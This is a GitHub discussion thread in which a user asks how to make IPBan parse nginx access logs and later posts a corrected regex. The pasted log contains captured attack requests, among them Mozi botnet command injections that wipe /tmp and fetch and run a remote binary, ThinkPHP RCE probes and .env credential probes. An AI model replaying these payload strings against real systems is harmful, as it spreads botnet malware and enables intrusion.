Add Nginx Log to IPBan #147

fahmiegerton · 2021-04-30T14:35:53Z

fahmiegerton
Apr 30, 2021

Hello , How can I add nginx log to IPBan?. Here's the log.

80.247.98.42 - - [28/Apr/2021:22:09:14 +0800] "GET / HTTP/1.1" 444 0 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
209.141.33.74 - - [28/Apr/2021:22:20:00 +0800] "POST /boaform/admin/formLogin HTTP/1.1" 444 0 "http://36.90.108.168:80/admin/login.asp" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
104.140.188.10 - - [28/Apr/2021:22:21:29 +0800] "GET / HTTP/1.1" 444 0 "-" "https://gdnplus.com:Gather Analyze Provide."
209.141.35.17 - - [28/Apr/2021:22:39:50 +0800] "GET / HTTP/1.1" 444 0 "-" "Mozilla/5.0 (compatible, MSIE 10.0, Windows NT, DigExt)"
209.141.35.17 - - [28/Apr/2021:22:39:51 +0800] "GET / HTTP/1.1" 444 0 "-" "Mozilla/5.0 (compatible, MSIE 10.0, Windows NT, DigExt)"
190.122.112.42 - - [28/Apr/2021:22:51:51 +0800] "POST /GponForm/diag_Form?images/ HTTP/1.1" 444 0 "-" "Hello, World"
71.6.232.4 - - [28/Apr/2021:22:59:29 +0800] "GET / HTTP/1.1" 444 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.131 Safari/537.36"
115.61.115.96 - - [28/Apr/2021:23:22:17 +0800] "POST /HNAP1/ HTTP/1.0" 444 0 "-" "-"
167.248.133.40 - - [29/Apr/2021:00:32:16 +0800] "GET / HTTP/1.1" 444 0 "-" "-"
167.248.133.40 - - [29/Apr/2021:00:32:18 +0800] "GET / HTTP/1.1" 400 248 "-" "-"
167.248.133.40 - - [29/Apr/2021:00:32:19 +0800] "GET / HTTP/1.1" 400 248 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
209.141.48.140 - - [29/Apr/2021:00:35:36 +0800] "GET / HTTP/1.1" 444 0 "http://36.90.108.168:80/left.html" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:77.0) Gecko/20100101 Firefox/77.0"
45.155.205.27 - - [29/Apr/2021:00:36:31 +0800] "POST /api/jsonws/invoke HTTP/1.1" 444 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
45.155.205.27 - - [29/Apr/2021:00:36:31 +0800] "POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 444 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
45.155.205.27 - - [29/Apr/2021:00:36:32 +0800] "GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1" 444 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
45.155.205.27 - - [29/Apr/2021:00:36:32 +0800] "GET /index.php?s=/Index/\x5Cthink\x5Capp/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP21 HTTP/1.1" 444 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
45.155.205.27 - - [29/Apr/2021:00:36:32 +0800] "GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1" 444 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
45.155.205.27 - - [29/Apr/2021:00:36:33 +0800] "GET /solr/admin/info/system?wt=json HTTP/1.1" 444 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
45.155.205.27 - - [29/Apr/2021:00:36:33 +0800] "POST /Autodiscover/Autodiscover.xml HTTP/1.1" 444 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
45.155.205.27 - - [29/Apr/2021:00:36:33 +0800] "GET /_ignition/execute-solution HTTP/1.1" 444 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
45.155.205.27 - - [29/Apr/2021:00:36:33 +0800] "GET /console/ HTTP/1.1" 444 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
45.155.205.27 - - [29/Apr/2021:00:36:34 +0800] "GET /wp-content/plugins/wp-file-manager/readme.txt HTTP/1.1" 444 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
45.155.205.27 - - [29/Apr/2021:00:36:35 +0800] "GET /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 444 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
104.248.83.170 - - [29/Apr/2021:01:49:53 +0800] "GET / HTTP/1.0" 444 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:82.0) Gecko/20100101 Firefox/82.0"
209.141.46.206 - - [29/Apr/2021:02:11:29 +0800] "GET /config/getuser?index=0 HTTP/1.1" 400 248 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:76.0) Gecko/20100101 Firefox/76.0"
118.97.50.28 - - [29/Apr/2021:02:27:52 +0800] "GET / HTTP/1.1" 444 0 "-" "python-requests/2.18.4"
188.162.188.88 - - [29/Apr/2021:02:35:22 +0800] "GET / HTTP/1.1" 444 0 "-" "Mozilla/5.0 (Windows NT 5.1; rv:9.0.1) Gecko/20100101 Firefox/9.0.1"
188.162.188.88 - - [29/Apr/2021:02:35:22 +0800] "GET / HTTP/1.1" 444 0 "-" "Mozilla/5.0 (Windows NT 5.1; rv:9.0.1) Gecko/20100101 Firefox/9.0.1"
188.162.188.88 - - [29/Apr/2021:02:35:23 +0800] "GET / HTTP/1.1" 444 0 "-" "Mozilla/5.0 (Windows NT 5.1; rv:9.0.1) Gecko/20100101 Firefox/9.0.1"
192.241.215.169 - - [29/Apr/2021:02:38:36 +0800] "GET /ecp/Current/exporttool/microsoft.exchange.ediscovery.exporttool.application HTTP/1.1" 444 0 "-" "Mozilla/5.0 zgrab/0.x"
182.126.236.187 - - [29/Apr/2021:02:47:11 +0800] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://182.126.236.187:41898/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws HTTP/1.1" 444 0 "-" "Hello, world"
51.103.79.241 - - [29/Apr/2021:02:49:41 +0800] "GET /.env HTTP/1.1" 444 0 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36"
120.85.118.128 - - [29/Apr/2021:02:54:44 +0800] "POST /GponForm/diag_Form?images/ HTTP/1.1" 444 0 "-" "Hello, World"
183.136.225.14 - - [29/Apr/2021:02:57:04 +0800] "GET / HTTP/1.1" 444 0 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:47.0) Gecko/20100101 Firefox/47.0"
61.219.11.153 - - [29/Apr/2021:03:09:34 +0800] "GET / HTTP/1.1" 400 150 "-" "-"
190.152.147.114 - - [29/Apr/2021:03:51:19 +0800] "GET / HTTP/1.1" 444 0 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
209.141.33.74 - - [29/Apr/2021:03:58:55 +0800] "POST /boaform/admin/formLogin HTTP/1.1" 444 0 "http://36.90.108.168:80/admin/login.asp" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
138.0.227.93 - - [29/Apr/2021:04:01:05 +0800] "GET / HTTP/1.1" 444 0 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
74.120.14.39 - - [29/Apr/2021:04:21:35 +0800] "GET / HTTP/1.1" 444 0 "-" "-"
74.120.14.39 - - [29/Apr/2021:04:21:38 +0800] "\x16\x03\x01\x00{\x01\x00\x00w\x03\x03\xD4\x19\xB7\x9B\x82\xFFH\x9CA|\xAF>\x1E<\xA7iV\xBBKD\xB6\x0F\x9E)\xC1\x7F\x8FvB^\x8C\xB3\x00\x00\x1A\xC0/\xC0+\xC0\x11\xC0\x07\xC0\x13\xC0\x09\xC0\x14\xC0" 400 150 "-" "-"
83.147.223.4 - - [29/Apr/2021:04:21:41 +0800] "GET / HTTP/1.1" 444 0 "-" "Mozilla/5.0 zgrab/0.x"
193.118.53.210 - - [29/Apr/2021:05:03:03 +0800] "GET / HTTP/1.1" 444 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"
89.248.170.22 - - [29/Apr/2021:05:59:29 +0800] "HEAD / HTTP/1.0" 444 0 "-" "-"
66.240.205.34 - - [29/Apr/2021:06:35:42 +0800] "145.ll|'|'|SGFjS2VkX0Q0OTkwNjI3|'|'|WIN-JNAPIER0859|'|'|JNapier|'|'|19-02-01|'|'||'|'|Win 7 Professional SP1 x64|'|'|No|'|'|0.7d|'|'|..|'|'|AA==|'|'|112.inf|'|'|SGFjS2VkDQoxOTIuMTY4LjkyLjIyMjo1NTUyDQpEZXNrdG9wDQpjbGllbnRhLmV4ZQ0KRmFsc2UNCkZhbHNlDQpUcnVlDQpGYWxzZQ==12.act|'|'|AA==" 400 150 "-" "-"
195.5.7.147 - - [29/Apr/2021:07:05:57 +0800] "POST /HNAP1/ HTTP/1.0" 444 0 "-" "-"
89.248.170.22 - - [29/Apr/2021:07:36:40 +0800] "GET / HTTP/1.1" 444 0 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:76.0) Gecko/20100101 Firefox/76.0"
209.141.51.242 - - [29/Apr/2021:07:55:03 +0800] "GET /config/getuser?index=0 HTTP/1.1" 444 0 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:76.0) Gecko/20100101 Firefox/76.0"
170.130.187.46 - - [29/Apr/2021:08:16:23 +0800] "GET / HTTP/1.0" 444 0 "-" "https://gdnplus.com:Gather Analyze Provide."
193.118.53.202 - - [29/Apr/2021:08:28:01 +0800] "GET / HTTP/1.1" 444 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"
209.141.33.74 - - [29/Apr/2021:08:49:00 +0800] "POST /boaform/admin/formLogin HTTP/1.1" 444 0 "http://36.90.108.168:80/admin/login.asp" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
89.248.165.47 - - [29/Apr/2021:08:54:16 +0800] "\x03\x00\x00/*\xE0\x00\x00\x00\x00\x00Cookie: mstshash=Administr" 400 150 "-" "-"
104.131.27.218 - - [29/Apr/2021:09:20:21 +0800] "GET /.env HTTP/1.1" 444 0 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36"
192.241.217.174 - - [29/Apr/2021:09:36:44 +0800] "GET /actuator/health HTTP/1.1" 444 0 "-" "Mozilla/5.0 zgrab/0.x"
45.155.205.27 - - [29/Apr/2021:09:40:49 +0800] "POST /api/jsonws/invoke HTTP/1.1" 444 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
45.155.205.27 - - [29/Apr/2021:09:40:50 +0800] "GET /_ignition/execute-solution HTTP/1.1" 444 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
45.155.205.27 - - [29/Apr/2021:09:40:52 +0800] "GET /wp-content/plugins/wp-file-manager/readme.txt HTTP/1.1" 444 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
45.155.205.27 - - [29/Apr/2021:09:40:52 +0800] "POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 444 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
45.155.205.27 - - [29/Apr/2021:09:40:54 +0800] "GET /console/ HTTP/1.1" 444 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
45.155.205.27 - - [29/Apr/2021:09:40:55 +0800] "GET /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 444 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
45.155.205.27 - - [29/Apr/2021:09:40:58 +0800] "GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1" 444 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
45.155.205.27 - - [29/Apr/2021:09:40:58 +0800] "GET /index.php?s=/Index/\x5Cthink\x5Capp/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP21 HTTP/1.1" 444 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
45.155.205.27 - - [29/Apr/2021:09:41:00 +0800] "POST /mifs/.;/services/LogService HTTP/1.1" 444 0 "https://36.90.108.168:443" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
45.155.205.27 - - [29/Apr/2021:09:41:02 +0800] "POST /Autodiscover/Autodiscover.xml HTTP/1.1" 444 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
159.65.20.78 - - [29/Apr/2021:10:28:21 +0800] "GET /.env HTTP/1.1" 444 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36"
181.197.64.148 - - [29/Apr/2021:11:03:59 +0800] "GET / HTTP/1.1" 444 0 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
45.79.218.30 - - [29/Apr/2021:11:38:04 +0800] "GET / HTTP/1.1" 444 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"
64.62.197.152 - - [29/Apr/2021:11:42:28 +0800] "GET / HTTP/1.1" 444 0 "-" "-"
183.136.225.16 - - [29/Apr/2021:11:58:06 +0800] "GET / HTTP/1.1" 444 0 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:47.0) Gecko/20100101 Firefox/47.0"
139.162.116.133 - - [29/Apr/2021:12:01:06 +0800] "GET / HTTP/1.1" 444 0 "-" "HTTP Banner Detection (https://security.ipip.net)"
82.221.105.6 - - [29/Apr/2021:12:06:42 +0800] "GET / HTTP/1.1" 444 0 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36"
82.221.105.6 - - [29/Apr/2021:12:06:47 +0800] "GET /robots.txt HTTP/1.1" 444 0 "-" "-"
82.221.105.6 - - [29/Apr/2021:12:06:48 +0800] "GET /sitemap.xml HTTP/1.1" 444 0 "-" "-"
82.221.105.6 - - [29/Apr/2021:12:06:48 +0800] "GET /.well-known/security.txt HTTP/1.1" 444 0 "-" "-"
34.76.80.167 - - [29/Apr/2021:12:06:59 +0800] "GET / HTTP/1.1" 444 0 "-" "python-requests/2.25.1"
117.247.204.78 - - [29/Apr/2021:12:23:19 +0800] "POST /GponForm/diag_Form?images/ HTTP/1.1" 444 0 "-" "Hello, World"
178.175.125.114 - - [29/Apr/2021:12:23:28 +0800] "GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://178.175.125.114:55370/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0" 444 0 "-" "-"
51.159.23.43 - - [30/Apr/2021:15:26:20 +0800] "GET / HTTP/1.1" 444 0 "-" "-"
89.248.170.22 - - [30/Apr/2021:15:26:31 +0800] "GET / HTTP/1.1" 444 0 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:76.0) Gecko/20100101 Firefox/76.0"
172.104.242.173 - - [30/Apr/2021:15:43:51 +0800] "\xBA\xABd\xA1EZC\xDBM\x87\xEE^\xFD\xBF\x159 X\xD4>\x12\x98\xC4<\xE0\x13\xCF\x00\xAC\xA09\xD7\x90#8~\x8C\xDE\x9DReF\xBF%1Q\xE0\x9D\x06&g\xBB\x82\x95\x19\xED\x07\x14\x19ZP\x80+\x94e\xC3\xE6\x85\x06\xA4\x99\x8B\x19l\x01\xEA\x88Y\x91\x16\x95\xC4\xC8\x0EH\x02\xC7\x93g\xC14FW\x05|\xFB\xF3T\xB8\xFD\xCB\xBB)\xE3\xCE\xDD\xCD7\x9E\xEFP\x8C\xA4[V\xFD\x98\xC9l\x82\xF5\xE4\xC1d\x87X\xF7\x9B\xBF\xE8q\x12\x99&\xDB,\xF5\x87\xD7\xA8\x97j;\xE3\xEA\xA7\xB4\xB0\x02\xAD\x8DE\x9B\xAAB\x80\x0E)\xA9\xE9\xAF}\x18\x8E\xB8\x1E\x99\x04\xEF\xA8\x8C\xE8\x04\xE2\xD3\xED)1\x91\xC1\x8F\x88\x8C\x81\xF0\xDB\xA5\x88\x95H\x9BZ\xAB\xCE\xBF\xF4E%P*\x88KFY6\x9E\xE7::j\xD4\x8A\xA8V\x9A\xAA\xAB\xAF\xC3&.\xED[\x04\xC5e\x7F\x08\xBE\x8Ar\xA7\xB0\x99F\xF7\x11\xE5\xD6\x96\x8CIm+w\x1C\xFDuU\x14\x0F!x\xAC\xE8MPy\xC3\x19!2\xA0\xED\xC0}!Rw\x14\x8E\x1B\xC4\xE1\xA0\xAF+\xADKk\xC5\xE0\x5Cs\x9C\xBD\xCB" 400 150 "-" "-"
192.241.216.138 - - [30/Apr/2021:16:57:52 +0800] "GET /portal/redlion HTTP/1.1" 444 0 "-" "Mozilla/5.0 zgrab/0.x"
193.118.53.194 - - [30/Apr/2021:17:00:02 +0800] "GET / HTTP/1.1" 444 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"
45.155.205.84 - - [30/Apr/2021:17:09:35 +0800] "GET /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 444 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
45.155.205.84 - - [30/Apr/2021:17:09:35 +0800] "POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 444 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
45.155.205.84 - - [30/Apr/2021:17:09:38 +0800] "GET /index.php?s=/Index/\x5Cthink\x5Capp/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP21 HTTP/1.1" 444 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
45.155.205.84 - - [30/Apr/2021:17:09:40 +0800] "GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1" 444 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
45.155.205.84 - - [30/Apr/2021:17:09:41 +0800] "POST /mifs/.;/services/LogService HTTP/1.1" 444 0 "https://125.160.120.137:443" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
45.155.205.84 - - [30/Apr/2021:17:09:43 +0800] "GET /wp-content/plugins/wp-file-manager/readme.txt HTTP/1.1" 444 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
45.155.205.84 - - [30/Apr/2021:17:09:44 +0800] "GET /console/ HTTP/1.1" 444 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
45.155.205.84 - - [30/Apr/2021:17:09:45 +0800] "POST /Autodiscover/Autodiscover.xml HTTP/1.1" 444 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
45.155.205.84 - - [30/Apr/2021:17:09:47 +0800] "GET /_ignition/execute-solution HTTP/1.1" 444 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
45.155.205.84 - - [30/Apr/2021:17:09:47 +0800] "POST /api/jsonws/invoke HTTP/1.1" 444 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
89.248.170.22 - - [30/Apr/2021:17:23:51 +0800] "HEAD / HTTP/1.0" 444 0 "-" "-"
192.241.220.215 - - [30/Apr/2021:17:26:46 +0800] "GET /actuator/health HTTP/1.1" 444 0 "-" "Mozilla/5.0 zgrab/0.x"
128.14.133.58 - - [30/Apr/2021:17:40:03 +0800] "GET / HTTP/1.1" 444 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"
74.120.14.37 - - [30/Apr/2021:17:41:07 +0800] "GET / HTTP/1.1" 444 0 "-" "-"
74.120.14.37 - - [30/Apr/2021:17:41:09 +0800] "GET / HTTP/1.1" 400 248 "-" "-"
74.120.14.37 - - [30/Apr/2021:17:41:09 +0800] "GET / HTTP/1.1" 400 248 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
192.241.212.72 - - [30/Apr/2021:18:36:39 +0800] "GET /hudson HTTP/1.1" 444 0 "-" "Mozilla/5.0 zgrab/0.x"
189.39.247.159 - - [30/Apr/2021:19:01:06 +0800] "GET / HTTP/1.1" 444 0 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
80.82.77.192 - - [30/Apr/2021:19:18:14 +0800] "GET / HTTP/1.1" 444 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36"
80.82.77.192 - - [30/Apr/2021:19:22:45 +0800] "GET / HTTP/1.1" 400 248 "-" "Mozilla/5.0 zgrab/0.x"
190.94.151.114 - - [30/Apr/2021:19:40:19 +0800] "GET / HTTP/1.1" 444 0 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
92.118.161.21 - - [30/Apr/2021:19:47:03 +0800] "GET / HTTP/1.1" 444 0 "-" "NetSystemsResearch studies the availability of various services across the internet. Our website is netsystemsresearch.com"
128.14.211.186 - - [30/Apr/2021:19:58:55 +0800] "GET / HTTP/1.1" 444 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"
119.15.88.56 - - [30/Apr/2021:20:46:18 +0800] "GET / HTTP/1.1" 444 0 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
34.77.163.42 - - [30/Apr/2021:20:47:53 +0800] "GET / HTTP/1.1" 444 0 "-" "python-requests/2.25.1"
194.62.6.193 - - [30/Apr/2021:20:56:30 +0800] "HEAD / HTTP/1.0" 444 0 "-" "-"
209.141.33.74 - - [30/Apr/2021:20:57:03 +0800] "POST /boaform/admin/formLogin HTTP/1.1" 444 0 "http://125.160.120.137:80/admin/login.asp" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"

I tried with this regex https://regex101.com/r/eZgTH3/1 but didn't work. It give me an error

2021-04-30 22:34:48.1835|ERROR|DigitalRuby.IPBanCore.Logger|Error Exception: System.Text.RegularExpressions.RegexParseException: Invalid pattern '^(?<ipaddress>\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}) - - \[(?<dateandtime>\d{2}\/[a-z]{3}\/\d{4}:\d{2}:\d{2}:\d{2} (\+|\-)\d{4})\] (((\"(GET|POST|PUT|PATCH|DELETE|OPTIONS|HEAD|TRACE|CONNECT|[.*\\x.*]) )(?<url>.+)(http\/1\.(1|0)"))|.*\\x.*) (?<statuscode>(301|4[44|00|03])) (?<bytessent>\d+) (["](?P<refferer>(\-)|(.+))["]) (["](?<useragent>.+)["])$' at offset 295. Unrecognized grouping construct.
   at System.Text.RegularExpressions.RegexParser.ScanGroupOpen()
   at System.Text.RegularExpressions.RegexParser.ScanRegex()
   at System.Text.RegularExpressions.RegexParser.Parse(String pattern, RegexOptions options, CultureInfo culture)
   at System.Text.RegularExpressions.Regex.Init(String pattern, RegexOptions options, TimeSpan matchTimeout, CultureInfo culture)
   at System.Text.RegularExpressions.Regex..ctor(String pattern, RegexOptions options, TimeSpan matchTimeout, CultureInfo culture)
   at System.Text.RegularExpressions.Regex..ctor(String pattern, RegexOptions options)
   at DigitalRuby.IPBanCore.IPBanConfig.<>c__DisplayClass43_0.<ParseRegex>b__0(String _key)
   at System.Collections.Concurrent.ConcurrentDictionary`2.GetOrAdd(TKey key, Func`2 valueFactory)
   at DigitalRuby.IPBanCore.IPBanConfig.ParseRegex(String text, Boolean multiline)
   at DigitalRuby.IPBanCore.IPBanLogFileScanner..ctor(IPBanIPAddressLogFileScannerOptions options)
   at DigitalRuby.IPBanCore.IPBanLogFileManager.UpdateLogFiles(IPBanConfig newConfig)
   at DigitalRuby.IPBanCore.IPBanService.UpdateConfiguration()

How can I fix this? I don't understand anything about regex, but I tried it with regex101 the rule is work, but not with IPBan. Thanks!

Answered by fahmiegerton

Apr 30, 2021

Nevermind, this is the correct regex

(?<ipaddress>\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}) - - \[(?<dateandtime>\d{2}\/[a-z]{3}\/\d{4}:\d{2}:\d{2}:\d{2} (\+|\-)\d{4})\] (((\"(GET|POST|PUT|PATCH|DELETE|OPTIONS|HEAD|TRACE|CONNECT|[.*\\x.*]) )(?<url>.+)(http\/1\.(1|0)"))|.*\\x.*) (?<statuscode>(301|4(44|03|00))) (?<bytessent>\d+) (["](?<refferer>(\-)|(.+))["]) (["](?<useragent>.+)["])

I just remove the P on ?p<name>

View full answer

fahmiegerton · 2021-04-30T14:56:15Z

fahmiegerton
Apr 30, 2021
Author

Nevermind, this is the correct regex

(?<ipaddress>\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}) - - \[(?<dateandtime>\d{2}\/[a-z]{3}\/\d{4}:\d{2}:\d{2}:\d{2} (\+|\-)\d{4})\] (((\"(GET|POST|PUT|PATCH|DELETE|OPTIONS|HEAD|TRACE|CONNECT|[.*\\x.*]) )(?<url>.+)(http\/1\.(1|0)"))|.*\\x.*) (?<statuscode>(301|4(44|03|00))) (?<bytessent>\d+) (["](?<refferer>(\-)|(.+))["]) (["](?<useragent>.+)["])

I just remove the P on ?p<name>

0 replies

rozhkovets · 2024-10-10T10:45:45Z

rozhkovets
Oct 10, 2024

Hello, I'm trying to configure ipban for nginx file from recipes for windows. but the suggested regular expression does not pass the test into regex101 (pattern error)
